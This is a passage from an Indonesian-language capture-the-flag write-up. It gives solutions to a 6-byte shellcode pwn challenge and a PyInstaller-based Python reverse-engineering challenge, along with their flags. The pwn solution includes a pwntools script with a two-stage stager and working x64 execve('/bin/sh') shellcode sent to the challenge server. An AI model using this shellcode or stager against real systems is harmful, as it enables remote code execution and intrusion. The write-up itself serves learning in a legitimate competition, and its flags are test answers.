        if hit:
            print("\n--- OUTPUT ---")
            print(text)
            print("-------------")
            raise SystemExit
```

![image](https://hackmd.io/_uploads/HJ37Aq-mZe.png)


**Flag : ADIKARA25{d0_y0u_l1k3_p135?45658509c52153b3e9682df9ec008314}**

---

### <center><a id="49"> metamorfosis </a></center>
<center>420</center>
<center>hanya beberapa byte yang dibolehkan...

`author: archanist`</center>

diberikan file chall & ncat metamorfosis.chall.adikara.online 443 --ssl


1. Temuan Analisis:
Program membuat area memori khusus di alamat 0x13370000 yang bisa dieksekusi (RWX).
Program meminta input, tapi hanya membaca 6 byte.
Setelah membaca, program langsung mengeksekusi input tersebut sebagai kode mesin (assembly).
2. Kendala Utama
Untuk mendapatkan shell, biasanya kita butuh kode (shellcode) yang melakukan execve("/bin/sh"). Masalahnya, shellcode standar membutuhkan 27-30 byte. Kita punya masalah fisik: "Bagaimana memasukkan gajah (30 byte) ke dalam kulkas mini (6 byte)?"

3. Solusi: Multi-Stage Shellcode (Teknik Stager)
Karena pintu masuknya kecil, kita tidak bisa langsung mengirim virus utamanya. Kita membagi serangan menjadi dua tahap:

Stage 1 (Si Kecil): Kode super pendek (max 6 byte) yang tugasnya cuma satu: menyuruh sistem untuk membuka pintu input lagi (memanggil fungsi read lagi) tapi kali ini dengan kapasitas besar.

Stage 2 (Si Besar): Shellcode asli kita yang akan dikirim setelah Stage 1 berhasil membuka jalan.



Syarat Syscall Read:
```
RAX = 0 (Nomor syscall read) -> Kebetulan sudah 0.
RDI = 0 (File Descriptor stdin) -> Perlu kita set.
RSI = Alamat Buffer (0x13370000) -> Ada di RDX, perlu dipindah.
RDX = Ukuran Baca -> Kebetulan isinya pointer besar, cukup untuk ukuran.
```

Kode Assembly (6 Byte):

solve.py
```
from pwn import *

# 1. Konek ke server
p = remote('metamorfosis.chall.adikara.online', 443, ssl=True)

# 2. Kirim Stage 1 (6 Byte Loader)
# push rdx; pop rsi; xor edi, edi; syscall
stage1 = b"\x52\x5e\x31\xff\x0f\x05"
p.send(stage1)

# Tunggu sebentar biar stage 1 tereksekusi
import time; time.sleep(1)

# 3. Kirim Stage 2 (Shellcode Asli)
# Shellcode Linux x64 execve("/bin/sh")
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# Padding 6 byte di awal untuk menyesuaikan posisi CPU
payload = b'\x90'*6 + shellcode
p.send(payload)

# 4. Ambil Flag
p.interactive()
```

![image](https://hackmd.io/_uploads/B1QIaiWmbe.png)

Memori: [ Sampah 6 Byte ] + [ Shellcode Asli ]
**Flag : ADIKARA25{w3ll_w3ll_w3ll!_39047cb2a125b68fd3c16c4280f97a70}**

---

## <a id=Reverse-Engineering> Reverse Engineering </a>

### <center><a id="31"> Snake </a></center>
<center>320</center>
<center>I bet you can't reach 99,999 points!

Author : `Cyrus`</center>

diberikan file snake. saya malas RE jadi saya check dulu kalau ini base nya python bukan

![image](https://hackmd.io/_uploads/B14sBjbmZl.png)

karena ini python dan versinya paling terbaru, jadi saya pake tools pyinstxtractor buat nge extract.

ada snake.pyc lalu saya decompile pake pycdc
~/Desktop/pycdc/pycdc snake.pyc > source_asli.py

![image](https://hackmd.io/_uploads/H1NI8iZ7Wx.png)

solve.py
```
import base64

# 1. Data dari hasil decompile kamu
key_b64 = b'czNjcjN0LWszeQ=='
flag_obf_b64 = b'MncqOXImbFkGAgBdVxkAK0pfXkosAhAtXg1yDQcPQ0FSBgArSl9eSixEFgVsBx5YbABDRjxDXStLWl1NH04='

# 2. Decode Base64 ke bentuk bytes asli
key_bytes = base64.b64decode(key_b64)
flag_encrypted_bytes = base64.b64decode(flag_obf_b64)

print(f"Key: {key_bytes}")
# Output key harusnya: b's3cr3t-k3y'

# 3. Lakukan Decrypt (XOR Operation)
# Logic: ciphertext XOR key = plaintext
decrypted_flag = []

for i in range(len(flag_encrypted_bytes)):
    # Ambil byte cipher ke-i
    cipher_byte = flag_encrypted_bytes[i]
    # Ambil byte key (gunakan modulus % agar key berulang jika flag lebih panjang dari key)
    key_byte = key_bytes[i % len(key_bytes)]
    
    # XOR kan
    decrypted_flag.append(cipher_byte ^ key_byte)

# 4. Tampilkan hasil
result = bytes(decrypted_flag)
print("\n[+] FLAG FOUND:")
print(result.decode('utf-8', errors='ignore'))
```
![image](https://hackmd.io/_uploads/SyqKLj-mZg.png)


**Flag : ADIKARA25{sn4k3_g4m3_1s_my_f4v0r1t3_g4m3_wuw_s33_y0u_1n_f1n4l}**

---
